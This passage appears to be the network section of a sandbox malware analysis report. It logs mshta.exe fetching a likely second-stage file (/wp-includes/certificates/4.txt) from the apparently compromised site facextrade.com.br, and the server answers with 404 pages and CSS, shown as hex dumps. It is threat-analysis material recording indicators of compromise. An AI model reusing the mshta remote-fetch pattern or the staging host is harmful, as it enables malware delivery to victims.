Aug 16, 2022 11:53:16.963777065 CEST	8.8.8.8	192.168.2.22	0xf35a	No error (0)	facextrade.com.br		187.45.240.69	A (IP address)	IN (0x0001)
Aug 16, 2022 11:53:16.983875990 CEST	8.8.8.8	192.168.2.22	0xf35a	No error (0)	facextrade.com.br		187.45.240.69	A (IP address)	IN (0x0001)
Aug 16, 2022 11:53:18.709820986 CEST	8.8.8.8	192.168.2.22	0x2b6a	No error (0)	netdna.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)
Aug 16, 2022 11:53:18.709820986 CEST	8.8.8.8	192.168.2.22	0x2b6a	No error (0)	netdna.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)
Aug 16, 2022 11:53:18.726362944 CEST	8.8.8.8	192.168.2.22	0x910a	No error (0)	translate.google.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)
Aug 16, 2022 11:53:18.726362944 CEST	8.8.8.8	192.168.2.22	0x910a	No error (0)	www3.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)
Aug 16, 2022 11:53:33.577537060 CEST	8.8.8.8	192.168.2.22	0xa273	No error (0)	gstaticadssl.l.google.com		172.217.16.195	A (IP address)	IN (0x0001)
Aug 16, 2022 11:53:37.190423012 CEST	8.8.8.8	192.168.2.22	0xc313	Name error (3)	storage.ie6countdown.com	none	none	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

facextrade.com.br

translate.google.com

netdna.bootstrapcdn.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49178	142.250.181.238	443	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.22	49171	187.45.240.69	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:53:17.246653080 CEST	0	OUT	GET /wp-includes/certificates/4.txt HTTP/1.1 Accept: / Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:18.357758999 CEST	2	IN	HTTP/1.1 404 Not Found Date: Tue, 16 Aug 2022 09:53:17 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/" Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 66 65 65 64 2f 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 61 74 6f 6d 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68 Data Ascii: 104f<!DOCTYPE html>...[if lt IE 7 ]><html class="ie ie6" lang="pt-BR"> <![endif]-->...[if IE 7 ]><html class="ie ie7" lang="pt-BR"> <![endif]-->...[if IE 8 ]><html class="ie ie8" lang="pt-BR"> <![endif]-->...[if IE 9 ]><html class="ie ie9" lang="pt-BR"> <![endif]-->...[if (gt IE 9)\|!(IE)]>...><html lang="pt-BR"> ...<![endif]--><head><title>Error 404 Not Found \| Facex</title><meta name="description" content=" » Pgina no encontrada \| Facex Comrcio Exterior Ltda." /><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="profile" href="//gmpg.org/xfn/11" /><link rel="icon" href="http://facextrade.com.br/wp-content/themes/theme51253/favicon.ico" type="image/x-icon" /><link rel="pingback" href="http://facextrade.com.br/xmlrpc.php" /><link rel="alternate" type="application/rss+xml" title="Facex" href="https://facextrade.com.br/feed/" /><link rel="alternate" type="application/atom+xml" title="Facex" href="h
Aug 16, 2022 11:53:18.357791901 CEST	3	IN	Data Raw: 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 66 65 65 64 2f 61 74 6f 6d 2f 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 Data Ascii: ttps://facextrade.com.br/feed/atom/" /><link rel="stylesheet" type="text/css" media="all" href="http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css" /><link rel="stylesheet" type="text/css" media="all" href="h
Aug 16, 2022 11:53:18.357815027 CEST	5	IN	Data Raw: 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 34 2e 39 2e 32 30 22 7d 7d 3b 0a 09 09 09 21 66 75 6e 63 74 Data Ascii: cextrade.com.br\/wp-includes\/js\/wp-emoji-release.min.js?ver=4.9.20"}};!function(e,a,t){var n,r,o,i=a.createElement("canvas"),p=i.getContext&&i.getContext("2d");function s(e,t){var a=String.fromCharCode;p.clearRect(0,0,i.width,i.height),p
Aug 16, 2022 11:53:18.357832909 CEST	5	IN	Data Raw: 70 70 6f 72 74 73 2e 66 6c 61 67 2c 74 2e 44 4f 4d 52 65 61 64 79 3d 21 31 2c 74 2e 72 65 61 64 79 43 61 6c 6c 62 61 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 44 4f 4d 52 65 61 64 79 3d 21 30 7d 2c 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 Data Ascii: pports.flag,t.DOMReady=!1,t.readyCallback=function(){t.DOMReady=!0},t.supports.everything\|\|(n=function(){t.readyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1),e.addEventListener("load",n,!1)):(e.attachEvent("onload
Aug 16, 2022 11:53:18.365112066 CEST	7	IN	Data Raw: 31 30 31 64 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 69 6d 67 2e 77 70 2d 73 6d 69 6c 65 79 2c 0a 69 6d 67 2e 65 6d 6f 6a 69 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 20 21 69 6d 70 6f 72 74 61 Data Ascii: 101d<style type="text/css">img.wp-smiley,img.emoji {display: inline !important;border: none !important;box-shadow: none !important;height: 1em !important;width: 1em !important;margin: 0 .07em !important;vertical-align: -0.1em
Aug 16, 2022 11:53:18.365147114 CEST	8	IN	Data Raw: 74 2d 61 77 65 73 6f 6d 65 2e 63 73 73 3f 76 65 72 3d 33 2e 32 2e 31 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d Data Ascii: t-awesome.css?ver=3.2.1' type='text/css' media='all' /><link rel='stylesheet' id='cherry-plugin-css' href='http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1' type='text/css' media='all' /><
Aug 16, 2022 11:53:18.365170956 CEST	9	IN	Data Raw: 73 73 3f 76 65 72 3d 31 2e 30 2e 30 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 6c 67 78 2d 6c 6f 67 6f 2d 73 Data Ascii: ss?ver=1.0.0' type='text/css' media='all' /><link rel='stylesheet' id='lgx-logo-slider-animate-css' href='http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20' type='text/css' media='al
Aug 16, 2022 11:53:18.365189075 CEST	10	IN	Data Raw: 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 43 68 65 72 72 79 46 72 61 6d 65 77 6f 72 6b 2f 6a 73 2f 6a 71 75 65 72 79 Data Ascii: ascript' src='http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2'></script>
Aug 16, 2022 11:53:18.365211010 CEST	11	IN	Data Raw: 31 30 37 66 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 Data Ascii: 107f<script type='text/javascript' src='http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3'></script><script type='text/javascript' src='http://facextrade.com.br/wp-content/plugins/cherry-plugin/li
Aug 16, 2022 11:53:18.365235090 CEST	12	IN	Data Raw: 2f 6a 73 2f 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 2d 70 75 62 6c 69 63 2e 6a 73 3f 76 65 72 3d 31 2e 30 2e 30 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 Data Ascii: /js/logo-slider-wp-public.js?ver=1.0.0'></script><script type='text/javascript' src='http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1'></script><script type='text/javascript' src='http://fac
Aug 16, 2022 11:53:18.597098112 CEST	14	IN	Data Raw: 4c 20 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 27 2c 0a 09 20 50 41 52 45 4e 54 5f 55 52 4c 20 3d 20 27 68 74 74 70 3a 2f Data Ascii: L ='http://facextrade.com.br/wp-content/themes/theme51253', PARENT_URL = 'http://facextrade.com.br/wp-content/themes/CherryFramework', CURRENT_THEME = 'theme51253'</script><style type='text/css'>body { background-image:url(http://facext

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.22	49183	187.45.240.69	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:53:20.930874109 CEST	406	OUT	GET /wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:21.161406994 CEST	421	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:53:21 GMT Server: Apache Last-Modified: Tue, 02 Apr 2019 21:36:00 GMT ETag: "a4fbb9-6cf-58592ec50f000" Accept-Ranges: bytes Content-Length: 1743 Connection: close Content-Type: text/css Data Raw: 64 69 76 2e 77 70 63 66 37 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 7d 0a 0a 64 69 76 2e 77 70 63 66 37 20 2e 73 63 72 65 65 6e 2d 72 65 61 64 65 72 2d 72 65 73 70 6f 6e 73 65 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 09 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 09 63 6c 69 70 3a 20 72 65 63 74 28 31 70 78 2c 20 31 70 78 2c 20 31 70 78 2c 20 31 70 78 29 3b 0a 09 68 65 69 67 68 74 3a 20 31 70 78 3b 0a 09 77 69 64 74 68 3a 20 31 70 78 3b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 6f 72 64 65 72 3a 20 30 3b 0a 7d 0a 0a 64 69 76 2e 77 70 63 66 37 2d 72 65 73 70 6f 6e 73 65 2d 6f 75 74 70 75 74 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 32 65 6d 20 30 2e 35 65 6d 20 31 65 6d 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 2e 32 65 6d 20 31 65 6d 3b 0a 09 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 66 66 30 30 30 30 3b 0a 7d 0a 0a 64 69 76 2e 77 70 63 66 37 2d 6d 61 69 6c 2d 73 65 6e 74 2d 6f 6b 20 7b 0a 09 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 33 39 38 66 31 34 3b 0a 7d 0a 0a 64 69 76 2e 77 70 63 66 37 2d 6d 61 69 6c 2d 73 65 6e 74 2d 6e 67 2c 0a 64 69 76 2e 77 70 63 66 37 2d 61 62 6f 72 74 65 64 20 7b 0a 09 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 66 66 30 30 30 30 3b 0a 7d 0a 0a 64 69 76 2e 77 70 63 66 37 2d 73 70 61 6d 2d 62 6c 6f 63 6b 65 64 20 7b 0a 09 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 66 66 61 35 30 30 3b 0a 7d 0a 0a 64 69 76 2e 77 70 63 66 37 2d 76 61 6c 69 64 61 74 69 6f 6e 2d 65 72 72 6f 72 73 2c 0a 64 69 76 2e 77 70 63 66 37 2d 61 63 63 65 70 74 61 6e 63 65 2d 6d 69 73 73 69 6e 67 20 7b 0a 09 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 66 37 65 37 30 30 3b 0a 7d 0a 0a 2e 77 70 63 66 37 2d 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 2d 77 72 61 70 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 7d 0a 0a 73 70 61 6e 2e 77 70 63 66 37 2d 6e 6f 74 2d 76 61 6c 69 64 2d 74 69 70 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 66 30 30 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 65 6d 3b 0a 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 0a 09 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 7d 0a 0a 2e 75 73 65 2d 66 6c 6f 61 74 69 6e 67 2d 76 61 6c 69 64 61 74 69 6f 6e 2d 74 69 70 20 73 70 61 6e 2e 77 70 63 66 37 2d 6e 6f 74 2d 76 61 6c 69 64 2d 74 69 70 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 09 74 6f 70 3a 20 32 30 25 3b 0a 09 6c 65 66 74 3a 20 32 30 25 3b 0a 09 7a 2d 69 6e 64 65 78 3a 20 31 30 30 3b 0a 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 66 66 30 30 30 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 09 70 61 64 64 69 6e 67 3a 20 2e 32 65 6d 20 2e 38 65 6d 3b 0a 7d 0a 0a 73 70 61 6e 2e 77 70 63 66 37 2d 6c 69 73 74 2d 69 74 65 6d 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 09 6d 61 72 67 69 6e 3a 20 30 20 30 20 30 20 31 65 6d 3b 0a 7d 0a 0a 73 70 61 6e 2e 77 70 63 66 37 2d 6c 69 73 74 2d 69 74 65 6d 2d 6c 61 62 65 6c 3a 3a 62 65 66 6f 72 65 2c 0a 73 70 61 6e 2e 77 70 63 66 37 2d 6c 69 73 74 2d 69 74 65 6d 2d 6c 61 62 65 6c 3a 3a 61 66 74 65 72 20 7b 0a 09 63 6f 6e 74 65 6e 74 3a 20 22 20 22 3b 0a 7d 0a 0a 2e 77 70 63 Data Ascii: div.wpcf7 {margin: 0;padding: 0;}div.wpcf7 .screen-reader-response {position: absolute;overflow: hidden;clip: rect(1px, 1px, 1px, 1px);height: 1px;width: 1px;margin: 0;padding: 0;border: 0;}div.wpcf7-response-output {margin: 2em 0.5em 1em;padding: 0.2em 1em;border: 2px solid #ff0000;}div.wpcf7-mail-sent-ok {border: 2px solid #398f14;}div.wpcf7-mail-sent-ng,div.wpcf7-aborted {border: 2px solid #ff0000;}div.wpcf7-spam-blocked {border: 2px solid #ffa500;}div.wpcf7-validation-errors,div.wpcf7-acceptance-missing {border: 2px solid #f7e700;}.wpcf7-form-control-wrap {position: relative;}span.wpcf7-not-valid-tip {color: #f00;font-size: 1em;font-weight: normal;display: block;}.use-floating-validation-tip span.wpcf7-not-valid-tip {position: absolute;top: 20%;left: 20%;z-index: 100;border: 1px solid #ff0000;background: #fff;padding: .2em .8em;}span.wpcf7-list-item {display: inline-block;margin: 0 0 0 1em;}span.wpcf7-list-item-label::before,span.wpcf7-list-item-label::after {content: " ";}.wpc
Aug 16, 2022 11:53:21.161457062 CEST	422	IN	Data Raw: 66 37 2d 64 69 73 70 6c 61 79 2d 6e 6f 6e 65 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 7d 0a 0a 64 69 76 2e 77 70 63 66 37 20 2e 61 6a 61 78 2d 6c 6f 61 64 65 72 20 7b 0a 09 76 69 73 69 62 69 6c 69 74 79 3a 20 68 69 64 64 65 6e 3b Data Ascii: f7-display-none {display: none;}div.wpcf7 .ajax-loader {visibility: hidden;display: inline-block;background-image: url('../../images/ajax-loader.gif');width: 16px;height: 16px;border: none;padding: 0;margin: 0 0 0 4px;ve

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.22	49184	187.45.240.69	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:53:21.397299051 CEST	423	OUT	GET /wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.20 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:22.472071886 CEST	443	IN	HTTP/1.1 404 Not Found Date: Tue, 16 Aug 2022 09:53:21 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/" Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 66 65 65 64 2f 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 61 74 6f 6d 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68 Data Ascii: 104f<!DOCTYPE html>...[if lt IE 7 ]><html class="ie ie6" lang="pt-BR"> <![endif]-->...[if IE 7 ]><html class="ie ie7" lang="pt-BR"> <![endif]-->...[if IE 8 ]><html class="ie ie8" lang="pt-BR"> <![endif]-->...[if IE 9 ]><html class="ie ie9" lang="pt-BR"> <![endif]-->...[if (gt IE 9)\|!(IE)]>...><html lang="pt-BR"> ...<![endif]--><head><title>Error 404 Not Found \| Facex</title><meta name="description" content=" » Pgina no encontrada \| Facex Comrcio Exterior Ltda." /><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="profile" href="//gmpg.org/xfn/11" /><link rel="icon" 